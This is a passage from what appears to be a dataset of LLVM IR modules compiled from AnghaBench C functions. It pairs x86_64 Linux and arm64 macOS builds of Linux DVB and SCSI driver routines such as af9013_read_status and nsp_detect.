store i32 %0, ptr %11, align 8, !tbaa !10
%12 = getelementptr inbounds i8, ptr %11, i64 4
store i32 %9, ptr %12, align 4, !tbaa !13
%13 = getelementptr inbounds i8, ptr %11, i64 64
%14 = getelementptr inbounds i8, ptr %11, i64 8
store ptr %13, ptr %14, align 8, !tbaa !14
store ptr %11, ptr %1, align 8, !tbaa !15
br label %15
15: ; preds = %7, %4
%16 = phi i32 [ %6, %4 ], [ 0, %7 ]
ret i32 %16
}
declare i32 @px_debug(ptr noundef, i32 noundef) local_unnamed_addr #1
declare ptr @px_alloc(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !7, i64 0}
!11 = !{!"TYPE_4__", !7, i64 0, !7, i64 4, !12, i64 8}
!12 = !{!"any pointer", !8, i64 0}
!13 = !{!11, !7, i64 4}
!14 = !{!11, !12, i64 8}
!15 = !{!12, !12, i64 0}
| postgres_contrib_pgcrypto_extr_pgp-mpi.c_pgp_mpi_alloc |
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/media/dvb/frontends/extr_af9013.c_af9013_read_status.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/media/dvb/frontends/extr_af9013.c_af9013_read_status.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@FE_HAS_SIGNAL = dso_local local_unnamed_addr global i32 0, align 4
@FE_HAS_CARRIER = dso_local local_unnamed_addr global i32 0, align 4
@FE_HAS_VITERBI = dso_local local_unnamed_addr global i32 0, align 4
@FE_HAS_SYNC = dso_local local_unnamed_addr global i32 0, align 4
@FE_HAS_LOCK = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @af9013_read_status], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @af9013_read_status(ptr noundef %0, ptr nocapture noundef %1) #0 {
%3 = alloca i64, align 8
%4 = load ptr, ptr %0, align 8, !tbaa !5
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %3) #3
store i32 0, ptr %1, align 4, !tbaa !10
%5 = call i32 @af9013_read_reg_bits(ptr noundef %4, i32 noundef 54535, i32 noundef 6, i32 noundef 1, ptr noundef nonnull %3) #3
%6 = icmp eq i32 %5, 0
br i1 %6, label %7, label %86
7: ; preds = %2
%8 = load i64, ptr %3, align 8, !tbaa !12
%9 = icmp eq i64 %8, 0
br i1 %9, label %22, label %10
10: ; preds = %7
%11 = load i32, ptr @FE_HAS_SIGNAL, align 4, !tbaa !10
%12 = load i32, ptr @FE_HAS_CARRIER, align 4, !tbaa !10
%13 = or i32 %12, %11
%14 = load i32, ptr @FE_HAS_VITERBI, align 4, !tbaa !10
%15 = or i32 %13, %14
%16 = load i32, ptr @FE_HAS_SYNC, align 4, !tbaa !10
%17 = or i32 %15, %16
%18 = load i32, ptr @FE_HAS_LOCK, align 4, !tbaa !10
%19 = or i32 %17, %18
%20 = load i32, ptr %1, align 4, !tbaa !10
%21 = or i32 %19, %20
store i32 %21, ptr %1, align 4, !tbaa !10
br label %24
22: ; preds = %7
%23 = load i32, ptr %1, align 4, !tbaa !10
br label %24
24: ; preds = %22, %10
%25 = phi i32 [ %23, %22 ], [ %21, %10 ]
%26 = icmp eq i32 %25, 0
br i1 %26, label %27, label %84
27: ; preds = %24
%28 = call i32 @af9013_read_reg_bits(ptr noundef %4, i32 noundef 54064, i32 noundef 3, i32 noundef 1, ptr noundef nonnull %3) #3
%29 = icmp eq i32 %28, 0
br i1 %29, label %30, label %86
30: ; preds = %27
%31 = load i64, ptr %3, align 8, !tbaa !12
%32 = icmp eq i64 %31, 0
%33 = load i32, ptr %1, align 4, !tbaa !10
br i1 %32, label %41, label %34
34: ; preds = %30
%35 = load i32, ptr @FE_HAS_SIGNAL, align 4, !tbaa !10
%36 = load i32, ptr @FE_HAS_CARRIER, align 4, !tbaa !10
%37 = or i32 %36, %35
%38 = load i32, ptr @FE_HAS_VITERBI, align 4, !tbaa !10
%39 = or i32 %37, %38
%40 = or i32 %39, %33
store i32 %40, ptr %1, align 4, !tbaa !10
br label %41
41: ; preds = %30, %34
%42 = phi i32 [ %40, %34 ], [ %33, %30 ]
%43 = icmp eq i32 %42, 0
br i1 %43, label %44, label %84
44: ; preds = %41
%45 = call i32 @af9013_read_reg_bits(ptr noundef %4, i32 noundef 54067, i32 noundef 7, i32 noundef 1, ptr noundef nonnull %3) #3
%46 = icmp eq i32 %45, 0
br i1 %46, label %47, label %86
47: ; preds = %44
%48 = load i64, ptr %3, align 8, !tbaa !12
%49 = icmp eq i64 %48, 0
%50 = load i32, ptr %1, align 4, !tbaa !10
br i1 %49, label %56, label %51
51: ; preds = %47
%52 = load i32, ptr @FE_HAS_SIGNAL, align 4, !tbaa !10
%53 = load i32, ptr @FE_HAS_CARRIER, align 4, !tbaa !10
%54 = or i32 %53, %52
%55 = or i32 %54, %50
store i32 %55, ptr %1, align 4, !tbaa !10
br label %56
56: ; preds = %47, %51
%57 = phi i32 [ %55, %51 ], [ %50, %47 ]
%58 = icmp eq i32 %57, 0
br i1 %58, label %59, label %84
59: ; preds = %56
%60 = call i32 @af9013_read_reg_bits(ptr noundef %4, i32 noundef 54068, i32 noundef 6, i32 noundef 1, ptr noundef nonnull %3) #3
%61 = icmp eq i32 %60, 0
br i1 %61, label %62, label %86
62: ; preds = %59
%63 = load i64, ptr %3, align 8, !tbaa !12
%64 = icmp eq i64 %63, 0
%65 = load i32, ptr %1, align 4, !tbaa !10
br i1 %64, label %71, label %66
66: ; preds = %62
%67 = load i32, ptr @FE_HAS_SIGNAL, align 4, !tbaa !10
%68 = load i32, ptr @FE_HAS_CARRIER, align 4, !tbaa !10
%69 = or i32 %68, %67
%70 = or i32 %69, %65
store i32 %70, ptr %1, align 4, !tbaa !10
br label %71
71: ; preds = %62, %66
%72 = phi i32 [ %70, %66 ], [ %65, %62 ]
%73 = icmp eq i32 %72, 0
br i1 %73, label %74, label %84
74: ; preds = %71
%75 = call i32 @af9013_read_reg_bits(ptr noundef %4, i32 noundef 53664, i32 noundef 6, i32 noundef 1, ptr noundef nonnull %3) #3
%76 = icmp eq i32 %75, 0
br i1 %76, label %77, label %86
77: ; preds = %74
%78 = load i64, ptr %3, align 8, !tbaa !12
%79 = icmp eq i64 %78, 0
br i1 %79, label %84, label %80
80: ; preds = %77
%81 = load i32, ptr @FE_HAS_SIGNAL, align 4, !tbaa !10
%82 = load i32, ptr %1, align 4, !tbaa !10
%83 = or i32 %82, %81
store i32 %83, ptr %1, align 4, !tbaa !10
br label %84
84: ; preds = %24, %41, %56, %77, %80, %71
%85 = call i32 @af9013_update_statistics(ptr noundef nonnull %0) #3
br label %86
86: ; preds = %74, %59, %44, %27, %2, %84
%87 = phi i32 [ %5, %2 ], [ %85, %84 ], [ %75, %74 ], [ %60, %59 ], [ %45, %44 ], [ %28, %27 ]
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %3) #3
ret i32 %87
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare i32 @af9013_read_reg_bits(ptr noundef, i32 noundef, i32 noundef, i32 noundef, ptr noundef) local_unnamed_addr #2
declare i32 @af9013_update_statistics(ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"dvb_frontend", !7, i64 0}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !11, i64 0}
!11 = !{!"int", !8, i64 0}
!12 = !{!13, !13, i64 0}
!13 = !{!"long", !8, i64 0}
| ; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/media/dvb/frontends/extr_af9013.c_af9013_read_status.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/media/dvb/frontends/extr_af9013.c_af9013_read_status.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@FE_HAS_SIGNAL = common local_unnamed_addr global i32 0, align 4
@FE_HAS_CARRIER = common local_unnamed_addr global i32 0, align 4
@FE_HAS_VITERBI = common local_unnamed_addr global i32 0, align 4
@FE_HAS_SYNC = common local_unnamed_addr global i32 0, align 4
@FE_HAS_LOCK = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @af9013_read_status], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @af9013_read_status(ptr noundef %0, ptr nocapture noundef %1) #0 {
%3 = alloca i64, align 8
%4 = load ptr, ptr %0, align 8, !tbaa !6
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %3) #3
store i32 0, ptr %1, align 4, !tbaa !11
%5 = call i32 @af9013_read_reg_bits(ptr noundef %4, i32 noundef 54535, i32 noundef 6, i32 noundef 1, ptr noundef nonnull %3) #3
%6 = icmp eq i32 %5, 0
br i1 %6, label %7, label %86
7: ; preds = %2
%8 = load i64, ptr %3, align 8, !tbaa !13
%9 = icmp eq i64 %8, 0
br i1 %9, label %22, label %10
10: ; preds = %7
%11 = load i32, ptr @FE_HAS_SIGNAL, align 4, !tbaa !11
%12 = load i32, ptr @FE_HAS_CARRIER, align 4, !tbaa !11
%13 = or i32 %12, %11
%14 = load i32, ptr @FE_HAS_VITERBI, align 4, !tbaa !11
%15 = or i32 %13, %14
%16 = load i32, ptr @FE_HAS_SYNC, align 4, !tbaa !11
%17 = or i32 %15, %16
%18 = load i32, ptr @FE_HAS_LOCK, align 4, !tbaa !11
%19 = or i32 %17, %18
%20 = load i32, ptr %1, align 4, !tbaa !11
%21 = or i32 %19, %20
store i32 %21, ptr %1, align 4, !tbaa !11
br label %24
22: ; preds = %7
%23 = load i32, ptr %1, align 4, !tbaa !11
br label %24
24: ; preds = %22, %10
%25 = phi i32 [ %23, %22 ], [ %21, %10 ]
%26 = icmp eq i32 %25, 0
br i1 %26, label %27, label %84
27: ; preds = %24
%28 = call i32 @af9013_read_reg_bits(ptr noundef %4, i32 noundef 54064, i32 noundef 3, i32 noundef 1, ptr noundef nonnull %3) #3
%29 = icmp eq i32 %28, 0
br i1 %29, label %30, label %86
30: ; preds = %27
%31 = load i64, ptr %3, align 8, !tbaa !13
%32 = icmp eq i64 %31, 0
%33 = load i32, ptr %1, align 4, !tbaa !11
br i1 %32, label %41, label %34
34: ; preds = %30
%35 = load i32, ptr @FE_HAS_SIGNAL, align 4, !tbaa !11
%36 = load i32, ptr @FE_HAS_CARRIER, align 4, !tbaa !11
%37 = or i32 %36, %35
%38 = load i32, ptr @FE_HAS_VITERBI, align 4, !tbaa !11
%39 = or i32 %37, %38
%40 = or i32 %39, %33
store i32 %40, ptr %1, align 4, !tbaa !11
br label %41
41: ; preds = %30, %34
%42 = phi i32 [ %40, %34 ], [ %33, %30 ]
%43 = icmp eq i32 %42, 0
br i1 %43, label %44, label %84
44: ; preds = %41
%45 = call i32 @af9013_read_reg_bits(ptr noundef %4, i32 noundef 54067, i32 noundef 7, i32 noundef 1, ptr noundef nonnull %3) #3
%46 = icmp eq i32 %45, 0
br i1 %46, label %47, label %86
47: ; preds = %44
%48 = load i64, ptr %3, align 8, !tbaa !13
%49 = icmp eq i64 %48, 0
%50 = load i32, ptr %1, align 4, !tbaa !11
br i1 %49, label %56, label %51
51: ; preds = %47
%52 = load i32, ptr @FE_HAS_SIGNAL, align 4, !tbaa !11
%53 = load i32, ptr @FE_HAS_CARRIER, align 4, !tbaa !11
%54 = or i32 %53, %52
%55 = or i32 %54, %50
store i32 %55, ptr %1, align 4, !tbaa !11
br label %56
56: ; preds = %47, %51
%57 = phi i32 [ %55, %51 ], [ %50, %47 ]
%58 = icmp eq i32 %57, 0
br i1 %58, label %59, label %84
59: ; preds = %56
%60 = call i32 @af9013_read_reg_bits(ptr noundef %4, i32 noundef 54068, i32 noundef 6, i32 noundef 1, ptr noundef nonnull %3) #3
%61 = icmp eq i32 %60, 0
br i1 %61, label %62, label %86
62: ; preds = %59
%63 = load i64, ptr %3, align 8, !tbaa !13
%64 = icmp eq i64 %63, 0
%65 = load i32, ptr %1, align 4, !tbaa !11
br i1 %64, label %71, label %66
66: ; preds = %62
%67 = load i32, ptr @FE_HAS_SIGNAL, align 4, !tbaa !11
%68 = load i32, ptr @FE_HAS_CARRIER, align 4, !tbaa !11
%69 = or i32 %68, %67
%70 = or i32 %69, %65
store i32 %70, ptr %1, align 4, !tbaa !11
br label %71
71: ; preds = %62, %66
%72 = phi i32 [ %70, %66 ], [ %65, %62 ]
%73 = icmp eq i32 %72, 0
br i1 %73, label %74, label %84
74: ; preds = %71
%75 = call i32 @af9013_read_reg_bits(ptr noundef %4, i32 noundef 53664, i32 noundef 6, i32 noundef 1, ptr noundef nonnull %3) #3
%76 = icmp eq i32 %75, 0
br i1 %76, label %77, label %86
77: ; preds = %74
%78 = load i64, ptr %3, align 8, !tbaa !13
%79 = icmp eq i64 %78, 0
br i1 %79, label %84, label %80
80: ; preds = %77
%81 = load i32, ptr @FE_HAS_SIGNAL, align 4, !tbaa !11
%82 = load i32, ptr %1, align 4, !tbaa !11
%83 = or i32 %82, %81
store i32 %83, ptr %1, align 4, !tbaa !11
br label %84
84: ; preds = %24, %41, %56, %77, %80, %71
%85 = call i32 @af9013_update_statistics(ptr noundef nonnull %0) #3
br label %86
86: ; preds = %74, %59, %44, %27, %2, %84
%87 = phi i32 [ %5, %2 ], [ %85, %84 ], [ %75, %74 ], [ %60, %59 ], [ %45, %44 ], [ %28, %27 ]
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %3) #3
ret i32 %87
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare i32 @af9013_read_reg_bits(ptr noundef, i32 noundef, i32 noundef, i32 noundef, ptr noundef) local_unnamed_addr #2
declare i32 @af9013_update_statistics(ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"dvb_frontend", !8, i64 0}
!8 = !{!"any pointer", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!12, !12, i64 0}
!12 = !{!"int", !9, i64 0}
!13 = !{!14, !14, i64 0}
!14 = !{!"long", !9, i64 0}
| fastsocket_kernel_drivers_media_dvb_frontends_extr_af9013.c_af9013_read_status |
; ModuleID = 'AnghaBench/linux/drivers/scsi/pcmcia/extr_nsp_cs.c_nsp_detect.c'
source_filename = "AnghaBench/linux/drivers/scsi/pcmcia/extr_nsp_cs.c_nsp_detect.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_6__ = type { i32, i32, i32, i32, i64, i64, i64, ptr }
%struct.scsi_host_template = type { i32, i32 }
%struct.Scsi_Host = type { i32, i32, i64, i64, i64, i64 }
@nsp_data_base = dso_local global %struct.TYPE_6__ zeroinitializer, align 8
@NSP_DEBUG_INIT = dso_local local_unnamed_addr global i32 0, align 4
@.str = private unnamed_addr constant [11 x i8] c"this_id=%d\00", align 1
@nsp_driver_template = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [12 x i8] c"host failed\00", align 1
@.str.2 = private unnamed_addr constant [10 x i8] c"irq=%d,%d\00", align 1
@.str.3 = private unnamed_addr constant [94 x i8] c"NinjaSCSI-3/32Bi Driver $Revision: 1.23 $ IO:0x%04lx-0x%04lx MMIO(virt addr):0x%04lx IRQ:%02d\00", align 1
@.str.4 = private unnamed_addr constant [4 x i8] c"end\00", align 1
@llvm.compiler.used = appending global [1 x ptr] [ptr @nsp_detect], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal ptr @nsp_detect(ptr nocapture noundef %0) #0 {
%2 = load i32, ptr @NSP_DEBUG_INIT, align 4, !tbaa !5
%3 = getelementptr inbounds %struct.scsi_host_template, ptr %0, i64 0, i32 1
%4 = load i32, ptr %3, align 4, !tbaa !9
%5 = tail call i32 (i32, ptr, ...) @nsp_dbg(i32 noundef %2, ptr noundef nonnull @.str, i32 noundef %4) #2
%6 = tail call ptr @scsi_host_alloc(ptr noundef nonnull @nsp_driver_template, i32 noundef 48) #2
%7 = icmp eq ptr %6, null
br i1 %7, label %43, label %8
8: ; preds = %1
%9 = getelementptr inbounds %struct.Scsi_Host, ptr %6, i64 0, i32 5
%10 = load i64, ptr %9, align 8, !tbaa !11
%11 = tail call i32 @memcpy(i64 noundef %10, ptr noundef nonnull @nsp_data_base, i32 noundef 48) #2
%12 = load i64, ptr %9, align 8, !tbaa !11
%13 = inttoptr i64 %12 to ptr
%14 = getelementptr inbounds %struct.TYPE_6__, ptr %13, i64 0, i32 7
%15 = load ptr, ptr %14, align 8, !tbaa !14
store ptr %6, ptr %15, align 8, !tbaa !17
%16 = load i32, ptr @NSP_DEBUG_INIT, align 4, !tbaa !5
%17 = load i32, ptr getelementptr inbounds (%struct.TYPE_6__, ptr @nsp_data_base, i64 0, i32 3), align 4, !tbaa !19
%18 = getelementptr inbounds %struct.TYPE_6__, ptr %13, i64 0, i32 3
%19 = load i32, ptr %18, align 4, !tbaa !19
%20 = tail call i32 (i32, ptr, ...) @nsp_dbg(i32 noundef %16, ptr noundef nonnull @.str.2, i32 noundef %17, i32 noundef %19) #2
%21 = getelementptr inbounds %struct.TYPE_6__, ptr %13, i64 0, i32 5
%22 = load i64, ptr %21, align 8, !tbaa !20
%23 = getelementptr inbounds %struct.Scsi_Host, ptr %6, i64 0, i32 4
store i64 %22, ptr %23, align 8, !tbaa !21
%24 = getelementptr inbounds %struct.Scsi_Host, ptr %6, i64 0, i32 3
store i64 %22, ptr %24, align 8, !tbaa !22
%25 = getelementptr inbounds %struct.TYPE_6__, ptr %13, i64 0, i32 4
%26 = load i64, ptr %25, align 8, !tbaa !23
%27 = getelementptr inbounds %struct.Scsi_Host, ptr %6, i64 0, i32 2
store i64 %26, ptr %27, align 8, !tbaa !24
%28 = getelementptr inbounds %struct.TYPE_6__, ptr %13, i64 0, i32 2
%29 = getelementptr inbounds %struct.Scsi_Host, ptr %6, i64 0, i32 1
%30 = load <2 x i32>, ptr %28, align 8, !tbaa !5
%31 = shufflevector <2 x i32> %30, <2 x i32> poison, <2 x i32> <i32 1, i32 0>
store <2 x i32> %31, ptr %6, align 8, !tbaa !5
%32 = getelementptr inbounds %struct.TYPE_6__, ptr %13, i64 0, i32 1
%33 = tail call i32 @spin_lock_init(ptr noundef nonnull %32) #2
%34 = load i32, ptr %13, align 8, !tbaa !25
%35 = load i64, ptr %24, align 8, !tbaa !22
%36 = load i64, ptr %27, align 8, !tbaa !24
%37 = add i64 %35, -1
%38 = add i64 %37, %36
%39 = load i32, ptr %29, align 4, !tbaa !26
%40 = load i32, ptr %6, align 8, !tbaa !27
%41 = tail call i32 @snprintf(i32 noundef %34, i32 noundef 4, ptr noundef nonnull @.str.3, i64 noundef %35, i64 noundef %38, i32 noundef %39, i32 noundef %40) #2
%42 = load i32, ptr %13, align 8, !tbaa !25
store i32 %42, ptr %0, align 4, !tbaa !28
br label %43
43: ; preds = %1, %8
%44 = phi ptr [ @.str.4, %8 ], [ @.str.1, %1 ]
%45 = load i32, ptr @NSP_DEBUG_INIT, align 4, !tbaa !5
%46 = tail call i32 (i32, ptr, ...) @nsp_dbg(i32 noundef %45, ptr noundef nonnull %44) #2
ret ptr %6
}
declare i32 @nsp_dbg(i32 noundef, ptr noundef, ...) local_unnamed_addr #1
declare ptr @scsi_host_alloc(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @memcpy(i64 noundef, ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @spin_lock_init(ptr noundef) local_unnamed_addr #1
declare i32 @snprintf(i32 noundef, i32 noundef, ptr noundef, i64 noundef, i64 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !6, i64 4}
!10 = !{!"scsi_host_template", !6, i64 0, !6, i64 4}
!11 = !{!12, !13, i64 32}
!12 = !{!"Scsi_Host", !6, i64 0, !6, i64 4, !13, i64 8, !13, i64 16, !13, i64 24, !13, i64 32}
!13 = !{!"long", !7, i64 0}
!14 = !{!15, !16, i64 40}
!15 = !{!"TYPE_6__", !6, i64 0, !6, i64 4, !6, i64 8, !6, i64 12, !13, i64 16, !13, i64 24, !13, i64 32, !16, i64 40}
!16 = !{!"any pointer", !7, i64 0}
!17 = !{!18, !16, i64 0}
!18 = !{!"TYPE_5__", !16, i64 0}
!19 = !{!15, !6, i64 12}
!20 = !{!15, !13, i64 24}
!21 = !{!12, !13, i64 24}
!22 = !{!12, !13, i64 16}
!23 = !{!15, !13, i64 16}
!24 = !{!12, !13, i64 8}
!25 = !{!15, !6, i64 0}
!26 = !{!12, !6, i64 4}
!27 = !{!12, !6, i64 0}
!28 = !{!10, !6, i64 0}
| ; ModuleID = 'AnghaBench/linux/drivers/scsi/pcmcia/extr_nsp_cs.c_nsp_detect.c'
source_filename = "AnghaBench/linux/drivers/scsi/pcmcia/extr_nsp_cs.c_nsp_detect.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
%struct.TYPE_6__ = type { i32, i32, i32, i32, i64, i64, i64, ptr }
@nsp_data_base = common global %struct.TYPE_6__ zeroinitializer, align 8
@NSP_DEBUG_INIT = common local_unnamed_addr global i32 0, align 4
@.str = private unnamed_addr constant [11 x i8] c"this_id=%d\00", align 1
@nsp_driver_template = common global i32 0, align 4
@.str.1 = private unnamed_addr constant [12 x i8] c"host failed\00", align 1
@.str.2 = private unnamed_addr constant [10 x i8] c"irq=%d,%d\00", align 1
@.str.3 = private unnamed_addr constant [94 x i8] c"NinjaSCSI-3/32Bi Driver $Revision: 1.23 $ IO:0x%04lx-0x%04lx MMIO(virt addr):0x%04lx IRQ:%02d\00", align 1
@.str.4 = private unnamed_addr constant [4 x i8] c"end\00", align 1
@llvm.used = appending global [1 x ptr] [ptr @nsp_detect], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal ptr @nsp_detect(ptr nocapture noundef %0) #0 {
%2 = load i32, ptr @NSP_DEBUG_INIT, align 4, !tbaa !6
%3 = getelementptr inbounds i8, ptr %0, i64 4
%4 = load i32, ptr %3, align 4, !tbaa !10
%5 = tail call i32 (i32, ptr, ...) @nsp_dbg(i32 noundef %2, ptr noundef nonnull @.str, i32 noundef %4) #2
%6 = tail call ptr @scsi_host_alloc(ptr noundef nonnull @nsp_driver_template, i32 noundef 48) #2
%7 = icmp eq ptr %6, null
br i1 %7, label %43, label %8
8: ; preds = %1
%9 = getelementptr inbounds i8, ptr %6, i64 32
%10 = load i64, ptr %9, align 8, !tbaa !12
%11 = tail call i32 @memcpy(i64 noundef %10, ptr noundef nonnull @nsp_data_base, i32 noundef 48) #2
%12 = load i64, ptr %9, align 8, !tbaa !12
%13 = inttoptr i64 %12 to ptr
%14 = getelementptr inbounds i8, ptr %13, i64 40
%15 = load ptr, ptr %14, align 8, !tbaa !15
store ptr %6, ptr %15, align 8, !tbaa !18
%16 = load i32, ptr @NSP_DEBUG_INIT, align 4, !tbaa !6
%17 = load i32, ptr getelementptr inbounds (i8, ptr @nsp_data_base, i64 12), align 4, !tbaa !20
%18 = getelementptr inbounds i8, ptr %13, i64 12
%19 = load i32, ptr %18, align 4, !tbaa !20
%20 = tail call i32 (i32, ptr, ...) @nsp_dbg(i32 noundef %16, ptr noundef nonnull @.str.2, i32 noundef %17, i32 noundef %19) #2
%21 = getelementptr inbounds i8, ptr %13, i64 24
